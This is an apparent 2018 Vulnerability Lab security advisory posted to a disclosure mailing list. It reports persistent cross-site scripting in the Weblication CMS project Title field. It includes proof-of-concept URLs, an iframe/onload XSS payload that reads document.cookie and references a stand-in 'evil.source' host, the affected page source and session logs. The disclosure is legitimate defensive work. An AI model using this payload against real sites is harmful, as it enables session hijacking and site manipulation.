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Date: Tue, 27 Mar 2018 14:51:21 +0200
From: Vulnerability Lab <research@...nerability-lab.com>
To: bugtraq@...urityfocus.com, bugs@...uritytracker.com
Subject: Weblication CMS Core & Grid v12.6.24 - Multiple Cross Site Scripting
 Vulnerabilities

Document Title:
===============
Weblication CMS Core & Grid v12.6.24 - Multiple Cross Site Scripting Vulnerabilities


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2121


Release Date:
=============
2018-02-21


Vulnerability Laboratory ID (VL-ID):
====================================
2121


Common Vulnerability Scoring System:
====================================
3.5


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
https://help.weblication.de/help12/


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent cross site vulnerability in the official Weblication CMS Core & Grid v12.006.024 CMS.



Vulnerability Disclosure Timeline:
==================================
2018-02-21: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Restricted authentication (user/moderator) - User privileges


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Independent Security Research


Technical Details & Description:
================================
A persistent cross site scripting vulnerability has been discovered in the official Weblication CMS Core & Grid v12.006.024 CMS.
The vulnerability allows remote attackers to inject own malicious script codes to the application-side of the service to compromise 
sensitive user data or affected web-application contents.

The security vulnerability is located in the `wFilemanager.php` & `index.php` files of the `/grid5/scripts/` modules. The injection 
point is located in the Project `Title` and the execution point occurs in the `Inhaltsprojekte` output listing section. Remote 
attackers with privileged user accounts are able to inject own malicious script code with persistent attack vector to compromise 
user session credentials or to manipulate the affected web-application module output context. The request method to inject is POST 
and the attack vector is reflected. The injection point is located in the project Title and the execution point occurs in the 
Inhaltsprojekte output listing section. 

Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects 
to malicious source and persistent manipulation of affected or connected application modules.

Request Method(s):
[+] POST

Vulnerable File(s):
[+] index.php
[+] wFilemanager.php

Vulnerable Input Field(s):
[+] Title

Affected Module(s):
[+] Inhaltsprojekte


Proof of Concept (PoC):
=======================
The persistent vulnerability can be exploited by remote attackers with low privilege web-application user account and low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


PoC Inject: Title
https://grid.localhost:8080/weblication/grid5/scripts/wFilemanager.php?action=showMaskEditOptionsProject&path=/img-src-x-img-img-src-x-img-


PoC Execute: Inhaltsprojekte
https://grid.localhost:8080/weblication/grid5/apps/wEditorWd8/index.php?path=/default-wGlobal/wGlobal/content/variables/
default.wVariables.php&target=be&selectedTab=&display=&action=startedit&referrer=%2Fde%2Findex.php&redirectEndEdit=&showFileOptions=&anchor=


PoC: Payload
"><iframe src="evil.source" onload=alert(document.domain)>%20"><iframe src="evil.source" onload=alert(document.cookie)></iframe></iframe>


PoC: Vulnerable Source
<div style="width:936px;padding-bottom:32px"><div class="headline">Projektbasis</div><div class="variableEntry" 
data-key="base_source" data-project=""><div class="cellCaption">Projekt basiert auf&nbsp;</div><div class="cellValue" 
style=""><div class="wWebtagTextEditorInput"><input id="webtag_text_639020500" name="webtag_text_639020500" data-weditortype="input" 
class="wEditorText" style="" value="default/0.9.latest" tabindex=""></div></div><div class="cellKey">base_source</div></div>
<div class="variableEntry" data-key="base_sources_additional" data-project=""><div class="cellCaption">Zusätzliche Weblics Quellen&nbsp;</div>
<div class="cellValue" style=""><div class="wWebtagTextEditorInput"><input id="webtag_text_961851163" name="webtag_text_961851163" 
data-weditortype="input" class="wEditorText" style="" value="" tabindex=""></div></div><div class="cellKey">base_sources_additional</div></div>
<div class="info">z.B. password@http://IHREDOMAIN/vorlageprojekt</div><div class="headline">Inhaltsprojekte</div><div class="cellCaption">
&nbsp;</div><div class="cellValue"><div style="padding-bottom:8px"><div class="wui-button wui-button-options" style="cursor:pointer" 
onclick="showMaskEditProjectOptions('/de')"><div style="line-height:15px"><span>/de <span style="color:#888888">Inhalte</span></span></div></div>
<div class="wui-button wui-button-options" style="cursor:pointer" onclick="showMaskEditProjectOptions('/img-src-x-img-img-src-x-img-')">
<div style="line-height:15px"><span>/img-src-x-img-img-src-x-img- 
<span style="color:#888888">"&gt;<iframe src="evil.source" onload="alert(document.domain)">%20"><iframe src="evil.source" onload=alert(document.cookie)></span>
</div></div></div></div><div class="cellKey"> </div><div class="info">Neben den globalen Projekteinstellungen können Sie weitere Einstellungen in 
den jeweiligen Inhalts- bzw. Sprachprojekten vornehmen.</div><div class="headline">Logo</div><div class="variableEntry" data-key="logo_src" 
data-project=""><div class="cellCaption">Logo </div>


PoC: Session Logs
Status: 200[OK]
POST https://grid.localhost:8080/weblication/grid5/scripts/wFilemanager.php?action=showMaskEditOptionsProject&path=/img-src-x-img-img-src-x-img- 
	Mime Type[text/html]
   Request Header:
      Host[grid.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Content-Type[application/x-www-form-urlencoded]
      Content-Length[596]
      Referer[https://grid.localhost:8080/weblication/grid5/scripts/wFilemanager.php?action=showMaskEditOptionsProject&path=/img-src-x-img-img-src-x-img-]
      Cookie[WSESSIONID=2a3af57351f0a4ea3cbdd39ac5763954; wCc=1; lastCheckUpdate=1518869664242; lastVersion=012.006.024.000]
      Connection[keep-alive]
      Upgrade-Insecure-Requests[1]
   POST-Daten:
      action[editOptionsProject]
      path[%2Fimg-src-x-img-img-src-x-img-]
      title[%22%3E%3Ciframe+src%3D%22evil.source%22+onload%3Dalert%28document.domain%29%3E%2520%
      22%3E%3Ciframe+src%3D%22evil.source%22+onload%3Dalert%28document.cookie%29%3E]
      pathProjectGlobal[%2Fdefault-wGlobal]
      pathProjectLayout[]
      language[br]
      projectConnect[%2Fimg-src-x-img-img-src-x-img-]
      hostOnly[]
      pageOffline[%2Fimg-src-x-img-img-src-x-img-%2FwGlobal%2Fcontent%2Ferrordocs%2Foffline.php]
      permissionDenied[%2Fimg-src-x-img-img-src-x-img-%2FwGlobal%2Fcontent%2Ferrordocs%2Fpermission-denied.php]
      W_PRETMP_groups%5B%5D[%5BW_ID%5D]
      backupGroup[]
   Response Header:
      Server[Apache/2.4.27]
      X-Powered-By[PHP/7.0.20]
      Expires[Thu, 19 Nov 1981 08:52:00 GMT]
      Cache-Control[no-store, no-cache, must-revalidate]
      Vary[Accept-Encoding]
      Keep-Alive[timeout=5, max=100]
      Connection[Keep-Alive]
      Transfer-Encoding[chunked]
      Content-Type[text/html; charset=UTF-8]
-
Status: 200[OK]
GET https://grid.localhost:8080/weblication/grid5/scripts/wFilemanager.php?action=showMaskEditOptionsProject&path=/img-src-x-img-img-src-x-img- 
	Mime Type[text/html]
   Request Header:
      Host[grid.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Referer[https://grid.localhost:8080/weblication/grid5/apps/wEditorWd8/index.php?action=showfileedit&path=/default-wGlobal/
      wGlobal/content/variables/default.wVariables.php&target=be&referrer=/de/index.php&display=default&editsource=&hasPlaceholdersToInsert=0]
      Cookie[WSESSIONID=2a3af57351f0a4ea3cbdd39ac5763954; wCc=1; lastCheckUpdate=1518869664242; lastVersion=012.006.024.000]
      Connection[keep-alive]
      Upgrade-Insecure-Requests[1]
   Response Header:
      Server[Apache/2.4.27]
      X-Powered-By[PHP/7.0.20]
      Expires[Thu, 19 Nov 1981 08:52:00 GMT]
      Cache-Control[no-store, no-cache, must-revalidate]
      Pragma[no-cache]
      Content-Encoding[gzip]
      Vary[Accept-Encoding]
      Keep-Alive[timeout=5, max=97]
      Connection[Keep-Alive]
      Transfer-Encoding[chunked]
      Content-Type[text/html; charset=UTF-8]
-
Status: 200[OK]
GET https://grid.localhost:8080/weblication/grid5/scripts/wEventmanager.php?action=showEvents&path=/img-src-x-img-img-src-x-img-&type=project&target=embed 
	Mime Type[text/html]
   Request Header:
      Host[grid.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Referer[https://grid.localhost:8080/weblication/grid5/scripts/wFilemanager.php?action=showMaskEditOptionsProject&path=/img-src-x-img-img-src-x-img-]
      Cookie[WSESSIONID=2a3af57351f0a4ea3cbdd39ac5763954; wCc=1; lastCheckUpdate=1518869664242; lastVersion=012.006.024.000]
      Connection[keep-alive]
      Upgrade-Insecure-Requests[1]
   Response Header:
      Server[Apache/2.4.27]
      X-Powered-By[PHP/7.0.20]
      Expires[Thu, 19 Nov 1981 08:52:00 GMT]
      Cache-Control[no-store, no-cache, must-revalidate]
      Pragma[no-cache]
      Keep-Alive[timeout=5, max=96]
      Connection[Keep-Alive]
      Transfer-Encoding[chunked]
      Content-Type[text/html; charset=UTF-8]


Reference(s):
https://grid.localhost:8080/
https://grid.localhost:8080/weblication/
https://grid.localhost:8080/weblication/grid5/
https://grid.localhost:8080/weblication/grid5/scripts/
https://grid.localhost:8080/weblication/grid5/scripts/wFilemanager.php


Solution - Fix & Patch:
=======================
The vulnerability can be resolved by a sanitize of the delivered input through the wFilemanager.php file.
Parse in the output location the execution point in the Inhaltsprojekte to resolve the issue.


Security Risk:
==============
The security risk of the persistent cross site scripting vulnerability in the web-application is estimated as medium (cvss 3.5).



Credits & Authors:
==================
Benjamin K.M. [research@...nerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M.


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=========================
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